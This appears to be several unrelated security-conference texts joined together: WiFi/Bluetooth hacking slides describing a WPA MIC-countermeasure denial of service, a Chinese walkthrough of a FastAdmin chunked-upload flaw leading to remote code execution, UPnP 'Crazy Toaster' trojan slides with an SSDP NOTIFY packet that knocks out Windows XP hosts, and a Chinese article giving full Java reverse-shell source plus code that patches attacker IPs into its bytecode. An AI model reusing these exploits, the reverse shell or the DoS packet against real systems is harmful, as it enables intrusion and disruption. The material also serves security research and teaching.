NSLU2 - Network Storage Link for USB 2.0 Disk Drives, running Unslung. Packages include Samba and rsync • Maxtor OneTouch III USB hard drive • Storage case • 7dBd Antenna plus miscellaneous cables Rolling Thunder Rolling Thunder theprez98! What were you expecting? “The Larch?” Wireless Contests • Tower Challenge (tiered wireless challenge) • WPA Cracking • WEP Cracking • Direction Finding • RFID Locating – Find the RFID tags Barry's “The Box" • "Janus" style portable computer for wireless surveys • Epia EN1500G mini-itx logic board with a 1.5 GHz VIA C7 processor • 1 GB DDR2 RAM • 4X WLM54G 200mW 802.11bg mini PCI cards • 30 Gb hard drive • 60 Gb hard drive • Ubuntu 6.10 Barry's “The Box" Barry's “The Box" Barry's “The Box" Barry's “The Box" TTB Project Update TTB Project Update • Conceived by Deviant Ollam in June 2006 • “Army” Green Pelican Case (thx DaKahuna!) • Two 500GB external hard drives – Past DEFCON content, movies, books, MP3s, etc. – Power adapters – Power converters – USB/Firewire TTB Project Update Debuted at DEFCON 14 Already it’s an “urban legend”! TTB Project First “Owner” Las Vegas to Tampa TTB Project Destination: Iraq • Ashraf, Iraq (~50 miles north of Baghad; could be the middle of nowhere)‏ • New laptop + 25 DVDs provided plenty of storage space TTB Project Update • By October, a second TTB set of drives was unveiled Travel Logs • TTB #1 has been throughout the continental U.S. as well as Iraq and Kuwait • Estimated to have travelled approximately ~25,000 miles (around the globe!) TTB Project Further Resources • TTB home - http://deviating.net/ttb/ • DC forums thread - https://forum.defcon.org/showthread.php?t=7381 • News article - http://seclists.org/isn/2006/Aug/0053.html Shameless Self Promotion Slide • Check out the Wireless Village in Skybox 209 • Check out the Wireless Contests • “The Church of WiFi presents...Hacking Iraq” – 8pm tomorrow night in Area 1 • I'm looking for a job, consider hiring me ;-) Render’s Rant You didn't think you'd get away that easily, did you? Render’s Rant • The Good ole' days are gone • Hack because you should, not just because you are getting paid • Someone hire me dammit! • Community needs to talk to each other more • Companies need to allow more interaction among developers New Site! • Moving away from 'Evil' look • Extolling the virtues of a high SNR • Easier to navigate • Easier to maintain • Easier to link too! • Non-denominational, equally offensive to all The CoWF Confessional • Concept - people to reveal their wireless sins/errors so that other can learn from it • "Security has to be right every time, but the bad guys only have to be right once“ • We're all human, we all screw up • CORE USB pwnage • Share your sins • Let others learn from your screw ups The CoWF Confessional • Anonymous, scrubbed, safe • Moderated for anonymity • <EMAIL ADDRESS> at later date Bluetooth • Wi-Fi is not the only wireless • So many BT peripherals • So many hardware hacks • So disappointed.... Bluetooth • There is the Bluetooth Glove Bluetooth • The Bluetooth Bananna Bluetooth • And the Bluetooth Brick Phone Bluetooth Excuse me, I have a call..... The Blueshoe The Blueshoe • BT Headset + Shoe = Agent 86 for real! Next? Larger Bluetooth Issues • Every BT headset is a listening device • Board rooms, offices, homes, etc • Easily blend in RF traffic • Can't search for rogues! • Can't monitor for bad traffic! Larger Bluetooth Issues • Lack of tools for full research, mayhem • Btcrack Needs BT protocol analyzer -$$$$$ • No “monitor mode” for BT – This sucks • Need to light a fire under the community • Has been tried before but we’re better Bluetooth Protocol Analyzer • Cost >$10,000 • Render's a cheap and poor • GNU Radio? - $$$$ • No cheap RAW devices • No OSS software available • What's a hacker to do? Bluetooth Protocol Analyzer • Busting the Bluetooth – Max Moser • http://www.remote- exploit.org/research/busting_bluetooth_myth.pdf • Cheap CSR based adapters, re-flashed to support RAW with un-named companies firmware • Slightly illegal (OK, lots) • Google “Bluetooth Sniffing For Less” for more • Not good for 'legit research‘ • Thanks to the EFF for keeping me out of Jail here Bluetooth Protocol Analyzer • What do we need? • Need an OSS application suite for RAW interface sniffing • Need a cheap RAW device - New Firmware for CSR based adapters • It can be done! We have code! (Can’t show here though) • Several individuals have made progress Example, EFF declined • I’m a foreign national who wants to go home after this • http://darkircop.org/bt/ - Mail list • Andrea Bittau, Dominic Spill and many others • We can already sniff pair keys! • See the wireless village for some more specifics WIFI Mischief • What you've probably been waiting for • WEP is not dead for research • Attack the attack tools? • Michael and the IEEE saga continues... Flinging mud at WEP cracking • Aircrack-ptw - Final nail in the coffin? • Throw some mud into the mix! • Aircrack - No validation of IV traffic • Replay during the replay... Flinging mud at WEP cracking • Send spoofed frames with random IV's at random intervals • Aircrack can't tell the difference, Statistical analysis goes WTF? • Stopgap for legacy apps • Research duplicated 3 times! • Airdefense MAY have a patent. Airtight presenting more on saturday? • Free WPA Tables to the first person to present working version this weekend! Michael can bite me! • 802.11i spec has a DoS built in (MIC countermeasures) • Ranted a lot in the last year • Put my foot in my mouth at DC14 • Turned into a Shmoocon talk • Drinking on stage with the Chair of the IETF • Still not seen as a major problem.... Michael can bite me! • Legacy hardware = Design concessions • MIC = Per Packet CRC of payload • 2^29 bits of security – Brute forceable • 2 bad packets/min = Rekey • Radio turns off for 60 seconds! • Prevents replay attacks • Sequence enforcement • MIC is encrypted with payload • MIC checked after several other checks Michael can bite me! • Google and NIST were great help • Rumors, hushed discussion, 'feelings' • One lonely NIST PDF • “Decryption/integrity check fail if traffic class bits are altered” Michael can bite me! • QoS breaks sequence enforcement • Wireless MultiMedia Specifications • Solved with seperate counters for each QoS level • MIC extends over WMM (QoS) header, but header not part of encrypted portion... • QoS flags can be modified and packet will still be decrypted.... • So...... Michael can bite me! • Capture high priority data packet • Set to low priority, retransmit • Send to other queues • Packet adheres to sequence enforcement.... • Packet decrypts successfully.... • MIC fails (WMM bits changed) • MIC countermeasures counter increments • 2 packets = AP KICKS USERS, TURNS OFF RADIO FOR 60 sec FOR REKEY! Michael can bite me! • 802.11i spec section 8.3.2.4.2, paragraph C • “If a non-AP STA receives a deauthenticate frame with the reason code “MIC failure,” it cannot be certain that the frame has not been forged, as it does not contain a MIC. The STA may attempt association with this, or another, AP. If the frame was genuine, then it is probable that attempts to associate with the same AP requesting the use of TKIP will fail because the AP will be conducting countermeasures.” Michael can bite me! • Clients can't verify the Michael countermeasure deauth is legit.. • Clients keep trying to associate to AP • Begin the client attacks! • Karma, etc can fill in Micheal can bite me! • Not any real defense, it's built into the standard • Does require WMM client • IEEE/IETF do good work • Need to step up development cycle • Free WPA tables to first person to present working exploit this weekend! Conclusion • Visit the Wireless Village! • Contribute projects! • Ask questions about our current projects! • Donate! • Learn + Touch = DO! • Share the knowledge! • Keep on hacking the air! • Give Render & theprez98 jobs!
pdf
漏洞原理:当开启了分片上传功能时,fastadmin 会根据传入的 chunkid ,结合硬编码后缀来命名和 保存文件,攻击者可预测文件上传路径;此后攻击者提交 "分片合并" 请求时,fastadmin 将会根据传入 的 chunkid ,去除了上一步操作中文件名的硬编码后保存新文件,导致任意文件上传。 前期准备 1. 该接口至少需要普通用户权限,我们可以先在前台注册一个用户然后登录 2. 需要修改默认配置 才能使用分片上传功能。设置 application/extra/upload.php 下的 chunking 项为 true 3. 可使用 application/index/controller/Ajax 下的 upload() 方法作为入口点。根据 tp5 的路 由,访问该入口点的 url 为 index.php?s=index/ajax/upload 漏洞分析 该漏洞位于 application/api/controller/Common.php 下的 upload() 方法中。 上传分片 根据下文的代码得知,我们需要POST传入以下参数才能调用到上传分片文件处(第25行): 1. chunkid 2. chunkindex 3. chunkcount 4. file public function upload() {    $chunkid = $this->request->post("chunkid");    //分片上传    if ($chunkid) {        //需要配置 upload.chunking 为 true 才能使用分片上传功能        if (!Config::get('upload.chunking')) {            $this->error(__('Chunk file disabled'));       }        //获取分片上传必要的参数        $action = $this->request->post("action");        $chunkindex = $this->request->post("chunkindex/d");        $chunkcount = $this->request->post("chunkcount/d");        $filename = $this->request->post("filename");        $method = $this->request->method(true);        //合并分片文件        if ($action == 'merge') { ......            $upload = new Upload();            //调用合并文件方法            $attachment = $upload->merge($chunkid, $chunkcount, $filename); ...... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 跟进 chunk() 方法,发现: 1. Request 的 Content-Type 必须为 application/octet-stream 2. 命名文件时将 chunkid 和 chunkindex 变量用 "-" 连接,最后硬编码了后缀 .part 3. 最终将文件保存至 /runtime/chunks 下 其中,上面的代码 $chunkid 和 $chunkindex 是我们可控的,上传路径也是确定的。所以我们可以预 测我们上传文件路径。 发送请求: ps:这里 chunkid 传入的是 xx.php ,这个 .php 在后面有奇效       }        //!! 上传分片文件 !!        else {            //获取上传文件            $file = $this->request->file('file');            try {                $upload = new Upload($file);                //调用上传分片文件方法                $upload->chunk($chunkid, $chunkindex, $chunkcount);           }       ...... } ...... 23 24 25 26 27 28 29 30 31 32 33 34 35 public function chunk($chunkid, $chunkindex, $chunkcount, $chunkfilesize = null, $chunkfilename = null, $direct = false) { //1. 需要修改 Request 的 Content-Type    if ($this->fileInfo['type'] != 'application/octet-stream') {        throw new UploadException(__('Uploaded file format is limited'));   }    $destDir = RUNTIME_PATH . 'chunks';    //2. 重命名上传文件    $fileName = $chunkid . "-" . $chunkindex . '.part';    $destFile = $destDir . DS . $fileName;    if (!is_dir($destDir)) {        @mkdir($destDir, 0755, true);   }    //3. 保存文件至 /runtime/chunks/ 下    if (!move_uploaded_file($this->file->getPathname(), $destFile)) {        throw new UploadException(__('Chunk file write error'));   }   ...... } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 生成文件: 合并文件 上传分片文件完毕后,我们来看看和分片文件相关的方法 merge() , 调用点: application/api/controller/Common.php 下的 upload() 方法(第16行): public function upload() {    $chunkid = $this->request->post("chunkid");    //分片上传    if ($chunkid) {        //需要配置 upload.chunking 为 true 才能使用分片上传功能        if (!Config::get('upload.chunking')) {            $this->error(__('Chunk file disabled'));       }        //获取分片上传必要的参数        $action = $this->request->post("action");        $chunkindex = $this->request->post("chunkindex/d");        $chunkcount = $this->request->post("chunkcount/d");        $filename = $this->request->post("filename");        $method = $this->request->method(true);        //!! 合并分片文件 !!        if ($action == 'merge') { ......            $upload = new Upload();            //调用合并文件方法            $attachment = $upload->merge($chunkid, $chunkcount, $filename); ......       }        //上传分片文件        else {            //获取上传文件            $file = $this->request->file('file');            try {                $upload = new Upload($file); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 根据上面的代码可知,我们需要传入以下POST参数: 1. chunkid 2. action 3. chunkcount 跟进 merge() 方法,该方法代码简写如下: 上面代码 $chunkid 、 $chunkcount 是我们可控的。 其中:                //调用上传分片文件方法                $upload->chunk($chunkid, $chunkindex, $chunkcount);           }       ...... } ...... 30 31 32 33 34 35 public function merge($chunkid, $chunkcount, $filename) {    //分片整合文件,所有分片的内容都会通过循环,写入这一个文件中    //该路径是通过 $chunkid 来控制的,$chunkid 是我们可控的值    $filePath = $this->chunkDir . DS . $chunkid;    $completed = true;    //被读取的分片文件路径 必须正确,否则将会被抛出错误    //被读取的分片文件路径 由 $chunkid 和 $chunkcount 进行控制    for ($i = 0; $i < $chunkcount; $i++) {        if (!file_exists("{$filePath}-{$i}.part")) {            $completed = false;            break;       }   }    if (!$completed) {        $this->clean($chunkid);        throw new UploadException(__('Chunk file info error'));   }    $uploadPath = $filePath;    $destFile = @fopen($uploadPath, "wb");    //基于我们传入的 $chunkid    //从0开始拼接字符串,循环读取分片文件,    for ($i = 0; $i < $chunkcount; $i++) { $partFile = "{$filePath}-{$i}.part";        if (!$handle = @fopen($partFile, "rb")) {            break;       }        while ($buff = fread($handle, filesize($partFile))) {            //将分片写入。保存的 $destFile 实际上就是 $filePath            //根据该方法开头的代码, $filePath中字符串末尾 由 $chunkid 控制            fwrite($destFile, $buff);       }        @fclose($handle);        @unlink($partFile); //删除原始分片       .... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $chunkid 和 $chunkcount 共同控制 被读取的分片文件名 $chunkid 还单独控制着 "整合文件" 的文件名 总结: 在上传分片时,我们最终分片文件名为 xx.php-0.part 。而在合并分片函数 merge() 中,假设我们传 入了 chunkid=xx.php & chunkcount=1 ,则 merge() 函数会读取 xx.php-0.part 的内容,并保存 为 xx.php 。这样,我们便可在 runtime/chunks 下创建一个 .php 文件了。 发送请求: 虽然报错了,但是 php文件还是成功生成了 访问之,成功RCE:
pdf
©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity “A Crazy Toaster : Can Home Devices turn against us?” “A Crazy Toaster : Can Home Devices turn against us?” Dror Shalev SmartDefense Research Center [email protected] 2 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Agenda Agenda Introduction Trust, technology and new privacy issues Overview of home networking and early threats Steps to create a Crazy Toaster Trojan Demonstration Side effect : Windows XP SSDP distributed Dos Side effect Demonstration TODO, Extended ideas Respect Q&A 3 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Introduction Introduction 4 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Introduction Introduction Mission: World domination via single UDP packet Do we care if our home Toaster sees us Naked? Can Home Devices turn against us, spy on our Network? Privacy and trust issues raised by technology, New hardware & Cool devices 5 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Trust, technology & privacy issues Trust, technology & privacy issues Common privacy issues: – Technology is about to replace the trust model we use today – People get confused between people that know things and machines that know things – Do we care if Google machines know that we would like to pay for porn? – Does this information can be given to a human? Trust models: – Usually we don’t trust a human in 100% to be able to deal with his knowledge about us – Should we trust corporations like Google? – Should we trust hardware and software vendors? 6 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Overview of home networking Overview of home networking Home networking in Windows XP and in Windows Vista Peer-to-peer networking of PCs, networked appliances and wireless devices UPnP architecture UPnP ,Overview of a distributed, open architecture based on TCP/IP, UDP and HTTP IPv6 – Reintroduce old exploits (land attack MS06-064) Security exploits and early threats 7 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity In Vista’s Network Explorer (the replacement to XP’s Network Neighborhood), devices are discovered using function discovery Function discovery can find devices using much more efficient, diverse and robust protocols than were available in XP’s Network Neighborhood These protocols include NetBios, UPnP/SSDP, and Web Services Discovery (WSD) Overview of home networking Overview of home networking 8 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Home networking in Windows Vista – Windows Peer-to-Peer Networking – People Near Me (PNM) – Network discovery – Media sharing Overview of home networking Overview of home networking 9 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Overview of home networking Overview of home networking 10 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Overview of home networking Overview of home networking Wireless Connectivity Wireless Access Point Low-end Appliance VoIP Webpage with virus Cell phone Crazy Toaster Media Center Hacker 11 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Universal Plug and Play (UPnP) Universal Plug and Play (UPnP) The UPnP architecture is a distributed, open networking architecture that leverages TCP/IP and the Web to enable seamless proximity networking in addition to control and data transfer among networked devices in the home, office, and everywhere in between What are the benefits of UPnP technology? – Media and device independence. UPnP technology can run on any network technology including Wi-Fi, coax, phone line, power line, Ethernet and 1394. – Platform independence. Vendors can use any operating system and any programming language to build UPnP products. – Internet-based technologies. UPnP technology is built upon IP, TCP, UDP, HTTP, and XML, among others. – UI Control. UPnP architecture enables vendor control over device user interface and interaction using the browser. – Programmatic control. UPnP architecture enables conventional application programmatic control. – Common base protocols. Vendors agree on base protocol sets on a per-device basis. – Extendable. Each UPnP product can have value-added services layered on top of the basic device architecture by the individual manufacturers. 12 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity UPnP, IGDs, SSDP on XP UPnP, IGDs, SSDP on XP UPnP is a collection of standards and protocols that permits Windows to provide discovery and interoperability between a wide variety of Universal Plug and Play network devices – When connected to a network, UPnP devices immediately provide their services and use other services on the network – Such devices may include anything from standard computing equipment to kitchen appliances and home entertainment systems – By default, the UPnP client is not installed The Internet Gateway Device Discovery and Control Client permits Windows to detect and interact with Internet gateway devices (IGDs) – IGDs include routers and computers running Internet Connection Sharing. Such devices can support detection by either UPnP or the Internet Gateway Device Discovery and Control Client – IDG devices use the Simple Service Discovery Protocol (SSDP) to broadcast their availability on the network – This permits clients to automatically locate the IDG device and use the device as their default gateway for external network access – By default, the Internet Gateway Device Discovery and Control Client is installed 13 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Simple Service Discovery Protocol (SSDP) Simple Service Discovery Protocol (SSDP) Retrieving Device and Service Descriptions On a default XP installation, no support is added for device control, as it would be the case in an installation of UPNP from "Network Services“ Although Microsoft added default support for an "InternetGatewayDevice", that was added to aid leading network hardware manufactures in making UPnP enabled "gateway devices" Desktop Wireless Access Point 14 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Early threats Early threats Vulnerability Date Severity Credit Apple Mac OS X mDNSResponder Remote Buffer Overflow 2007-05-24 High Michael Lynn, Juniper Microsoft Windows UPnP Remote Stack Buffer Overflow [MS07-019] 2007-04-10 Critical Greg MacManus, iDefense Linksys WRT54GX V2.0 WAN Port UPnP 2006-10-11 Mid Armijn Hemel Multiple D-Link Routers UPNP Buffer Overflow 2006-07-24 High Barnaby Jack , eEye Microsoft Windows Plug and Play Vulnerability / Zotob worm [MS05-039] 2005-08-05 Critical Neel Mehta ,ISS X-Force Belkin 54G Wireless Router Multiple Vulnerabilities 2005-03-17 Mid pureone Multiple Linksys Routers Gozila.CGI Denial Of Service 2004-06-02 Mid Alan McCaig , b0f Xavi DSL Router UPNP Long Request Denial Of Service 2003-07-22 Mid David F. Madrid Netgear FM114P ProSafe Wireless Router Rule Bypass 2003-04-02 High Björn Stickler Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure 2003-04-02 Mid Björn Stickler Netgear FM114P Wireless Firewall File Disclosure 2003-02-09 Mid Björn Stickler Multiple Linksys Devices strcat() Buffer Overflow 2002-12-02 High Gerardo Richarte , CORE Linksys Router Unauthorized Management Access 2002-11-17 Mid Seth Bromberger Microsoft UPnP NOTIFY Buffer Overflow [MS01-059] 2001-12-19 Critical Riley Hassell, eEye Microsoft Universal Plug and Play Simple Service Discovery Protocol Dos 2001-12-19 Mid Riley Hassell, eEye Microsoft UPnP Denial of Service 2001-10-31 Low 'Ken' from FTU Windows ME Simple Service Discovery Protocol Denial of Service 2001-10-17 Mid milo omega 15 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Steps to create a Crazy Toaster Trojan Steps to create a Crazy Toaster Trojan While researching SSDP & UPnP we realized that protocols allow not only routers, media players, servers and other devices to connect seamlessly but also to attackers A scenario of “Crazy Toaster ” , Trojan device , or software with TCP/IP capabilities like Routers , Media Players , Access Points , that join Local area network and become security hazard is possible 16 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Steps to create a Crazy Toaster Trojan Steps to create a Crazy Toaster Trojan Recipe : Building your own Trojan Needed Ingredients – Toaster – Hardware :Any or none – Software : Select an UPnP Stack vendor sample (Intel ,Siemens) – Network Access to the victim’s network (worm victim, multicast , social engineering ,physical access ) Problems – Heat – Linux 2 Nokia IPSO porting – Shipping 17 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Steps to create a Crazy Toaster Trojan Steps to create a Crazy Toaster Trojan Our Crazy Toaster will advertise its presence on victim local network Trojan Discovery process uses : – HTTPU (HTTP over UDP) – HTTPMU for UDP multicast ,to 239.255.255.250:1900 – Sends HTTP packets to multiple (multicast) systems over UDP – Social engineering : declare as anything from standard computing equipment to kitchen appliances and home entertainment systems Presentation web server – JavaScript , Ajax & browser bugs – Use known techniques & exploits from the wild ( MPack ) – Retrieve attack payload from remote host 18 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Steps to create a Crazy Toaster Trojan Steps to create a Crazy Toaster Trojan 19 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Demonstration Demonstration Physical run of “Crazy Toaster” Trojan attack Physical run of advanced attack vectors: – Discovery – Presentation – Social engineering – Browser exploits Nokia IPSO 6 hardware Posix / Win sdk Crazy Toaster Demo 20 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Windows XP SSDP distributed Dos Windows XP SSDP distributed Dos Side effect : Windows XP Simple Service Discovery Protocol Distributed Denial of Service Vulnerability Single multicast UDP packet cause XP victims to Parse well formatted xml document recursive logic Bomb Memory Consumption – 100% CPU on entire lan segment Virtual memory page file going crazy Can be done via software ( spyware , worm ) Distributed damage and possible attack vectors A remote attacker that resides on the lan segment connected to the affected appliance/ Trojan may exploit this vulnerability to deny service for all legitimate lan users * MS will fix this in service pack 3 for XP 21 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Windows XP SSDP distributed Dos Windows XP SSDP distributed Dos NOTIFY * HTTP/1.1 HOST: 239.255.255.250:1900 CACHE-CONTROL: max-age=9 LOCATION:http://AttackerInLanHost/upnp/trojan/ilya.xml NT: urn: schemas-upnp-org:device:InternetGatewayDevice:1 NTS: ssdp:alive SERVER: Drors/2005 UPnP/1.0 SVCHostDLLkiller/1.1 USN: uuid:CrazyToasterByDrorRespect2eEye Xml Kill Crazy Toaster Victim 22 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Side effect Demonstration Side effect Demonstration Kitchen appliance in smart home become Crazy Physical run of Windows XP Simple Service Discovery Protocol Distrusted Denial of Service Vulnerability Logic Bomb discovery in wired or wireless local network Demo Kill xml 23 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity TODO, Extended ideas TODO, Extended ideas Arp poisoning , kernel bugs Wireless hacking, WEP cracking, Linux embedded systems , MIPS Cell phone hacking , GPS , IPhone Media centers , Game consoles DivX worm , Copy Rights Bomb Record sound , IP hidden Cam IPV6 24 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Cheap hardware appliances open a door for “bad guys” Wireless Hardware & IPV6 opens new ball game Trust no one (hardware & software vendors , free gifts) Home devices can be target to remote attacks (Buffer overflows, CSRF, XSS, ) The SSDP Discovery Service and Universal Plug and Play Host service should both be set to disabled In Vista, disable ‘Network discovery’ Can Home Devices turn against us? Oh yeah, Home Devices are as bad as their software authors Conclusions Conclusions 25 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Respect Respect UPnP™ Forum HackTheToaster.com eEye Project Cowbird , $30, 30 Minutes, 30 Networks Exploiting embedded systems ,Barnaby Jack UPnP Stack Vendors , Intel UPnP ,CyberLink, Siemens AG OSGI alliance Dog's Toaster Defcon 9 UPnP Hacks 26 ©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential. puresecurity Q&A Q&A Q: Why hack a toaster? A: Why not? * Slides and Toaster source code : http://www.drorshalev.com/dev/upnp/
pdf
1 ⽆java环境修改字节码 @yzddmr6 ⾃从实习之后发现⾃⼰缺乏的东⻄还有很多,跟其他优秀的⼈相⽐还有很⼤的差距,所以最近⼀直在学习 充电,⽂章也写的少了。上次巅峰极客线下赛跟yan表哥⾯了基,⼀起磕了⽠⼦聊了聊天。结合当时的⽐赛 情况回来之后想搓⼀个蚁剑的后渗透插件,今天想跟⼤家分享⼀下其中的⼀个点:⽆java环境如何修改字 节码。 在蚁剑改造计划之实现JSP⼀句话中,当时为了解决硬编码字节码的问题采⽤了额外参数的⽅式来传参。 但是同时带来的问题就是键名的固定跟额外带来的编码问题,很容易成为⼀个特征。 例如 蚁剑没有java环境,所以没办法像冰蝎⼀样调⽤asm框架来修改字节码。但是我们也不需要asm框架那么 强⼤的功能,实际上只需要修改其中的⼀个字符串的值就可以了,那么怎么实现呢?这个要从字节码的结 构说起。 这⾥以As_Exploits中的jsp反弹shell的payload为例 前⾔ 正⽂ 需求 1 POST: ant=xxxxxxxxxxxxxxx&var1=/bin/bash&var2=whoami Java字节码结构 1 import java.io.*; 2 import java.net.Socket; 3 4 public class ShellReverseTCP extends Thread { 5 6 InputStream zj; 7 OutputStream sd; 8 public static String ip; 9 public static String port; 10 11 ShellReverseTCP(InputStream zj, OutputStream sd) { 12 this.zj = zj; 2 13 this.sd = sd; 14 } 15 16 public ShellReverseTCP() { 17 18 } 19 @Override 20 public boolean equals(Object obj){ 21 ip="targetIP"; 22 port="targetPORT"; 23 try { 24 RunShellReverseTCP(); 25 return true; 26 }catch (Exception e){ 27 return false; 28 } 29 30 } 31 32 public static void main(String[] args) { 33 ip="192.168.88.129"; 34 port="9999"; 35 ShellReverseTCP shellReverseTCP = new ShellReverseTCP(); 36 shellReverseTCP.RunShellReverseTCP(); 37 } 38 39 public void RunShellReverseTCP() { 40 try { 41 String ShellPath; 42 if (System.getProperty("os.name").toLowerCase().index Of("windows") == -1) { 43 ShellPath = new String("/bin/sh"); 44 } else { 45 ShellPath = new String("cmd.exe"); 46 } 47 48 Socket socket = new Socket(ip, Integer.parseInt(port) ); 49 Process process = Runtime.getRuntime().exec(ShellPath ); 3 main函数是调试⽤的不⽤管,⼊⼝是equals函数,我们的⽬的就是把其中的targetIP跟targetPORT替换 为我们的⽬标IP跟端⼝。 ⽤010editor打开编译后的字节码⽂件查看。 50 (new ShellReverseTCP(process.getInputStream(), socket .getOutputStream())).start(); 51 (new ShellReverseTCP(socket.getInputStream(), process .getOutputStream())).start(); 52 } catch (Exception e) { 53 } 54 } 55 56 57 public void run() { 58 BufferedReader yx = null; 59 BufferedWriter jah = null; 60 try { 61 yx = new BufferedReader(new InputStreamReader(this.zj )); 62 jah = new BufferedWriter(new OutputStreamWriter(this. sd)); 63 char buffer[] = new char[8192]; 64 int length; 65 while ((length = yx.read(buffer, 0, buffer.length)) > 0) { 66 jah.write(buffer, 0, length); 67 jah.flush(); 68 } 69 } catch (Exception e) { 70 } 71 try { 72 if (yx != null) 73 yx.close(); 74 if (jah != null) 75 jah.close(); 76 } catch (Exception e) { 77 } 78 } 79 } 4 最开始的CAFEBABE叫做魔数,⽤来标志这是⼀个字节码⽂件。 00 00 00 34是版本号,0x34转为10进制是52,查表知是jdk1.8。 5 后⾯还有import的相关类的信息,因为不是重点,这⾥不再过多说明,快进到常量池。 常量池中的每⼀项都是⼀个表,其项⽬类型共有14种,如下表格所示: 类型 标志 描述 CONSTANT_utf8_info 1 UTF-8编码的字符串 CONSTANT_Integer_info 3 整形字⾯量 CONSTANT_Float_info 4 浮点型字⾯量 6 这14种类型的结构各不相同,如下表格所示: 类型 标志 描述 CONSTANT_Long_info 5 ⻓整型字⾯量 CONSTANT_Double_info 6 双精度浮点型字⾯量 CONSTANT_Class_info 7 类或接⼝的符号引⽤ CONSTANT_String_info 8 字符串类型字⾯量 CONSTANT_Fieldref_info 9 字段的符号引⽤ CONSTANT_Methodref_info 10 类中⽅法的符号引⽤ CONSTANT_InterfaceMethod ref_info 11 接⼝中⽅法的符号引⽤ CONSTANT_NameAndType_i nfo 12 字段或⽅法的符号引⽤ CONSTANT_MethodHandle_i nfo 15 表示⽅法句柄 CONSTANT_MothodType_inf o 16 标志⽅法类型 CONSTANT_InvokeDynamic_i nfo 18 表示⼀个动态⽅法调⽤点 7 从上⾯的表格可以看到,虽然每⼀项的结构都各不相同,但是他们有个共同点,就是每⼀项的第⼀个字节 都是⼀个标志位,标识这⼀项是哪种类型的常量。 我们关注的应该是CONSTANT_utf8_info跟CONSTANT_String_info。如果变量是第⼀次被定义的时候 是⽤CONSTANT_utf8_info标志,第⼆次使⽤的时候就变成了CONSTANT_String_info,即只需要tag跟 注:上⾯的表格的单位是错的,应该是byte不是bit,不知道哪⾥的以讹传讹⼀直流传了下来。 8 ⾯向字符串的索引。 也就是说关键的结构就是这个 其实跟PHP的序列化很相似,⾸先来个标志位表示变量的类型,然后是变量的⻓度,最后是变量的内容。 结合⽂件来看 targetIP共占了8个byte,也就是16个hex的位。所以前⾯两个byte是00 08。然后再之前的⼀个byte是 01,表示这是⼀个CONSTANT_utf8_info。 既然知道了其结构,那么修改的办法也就呼之欲出。除了修改变量的hex,只需要再把前⾯的变量⻓度给改 ⼀下就可以了。 把yan表哥的代码抽出来修改⼀下 如何修改 1 function replaceClassStringVar(b64code, oldvar, newvar) { 2 let code = Buffer.from(b64code, 'base64');//解码 3 let hexcode = code.toString('hex');//转为16进制 4 let hexoldvar = Buffer.from(oldvar).toString('hex');//转为16进 制 5 let oldpos = hexcode.indexOf(hexoldvar); 6 if (oldpos > -1) {//判断字节码中是否包含⽬标字符串 7 let newlength = decimalToHex(newvar.length, 4);//计算新字符串 ⻓度 8 let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength} ${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + he xoldvar.length)}`;//把原来字节码的前后部分截出来,中间拼上新的⻓度跟内容 9 return Buffer.from(retcode, 'hex').toString('base64');//bas e64编码 10 } 11 console.log('nonono') 12 return b64code; 9 ⽤命令还原⼀下⽂件 看⼀下修改后的结果 192.168.88.129总共是14个byte,换成16进制就是0xe,刚好符合。 实际中是否能⽤呢? 13 } 14 15 function decimalToHex(d, padding) { 16 var hex = Number(d).toString(16); 17 padding = typeof (padding) === "undefined" || padding === nul l ? padding = 2 : padding; 18 while (hex.length < padding) { 19 hex = "0" + hex;//⼩于padding⻓度就填充0 20 } 21 return hex; 22 } 23 24 content=`xxxxxxxxxxxxx`//要替换的字节码 25 26 content=replaceClassStringVar(content,'targetIP','192.168.88.129' ) 27 content=replaceClassStringVar(content,'targetPORT','9999') 28 console.log(content) 1 echo 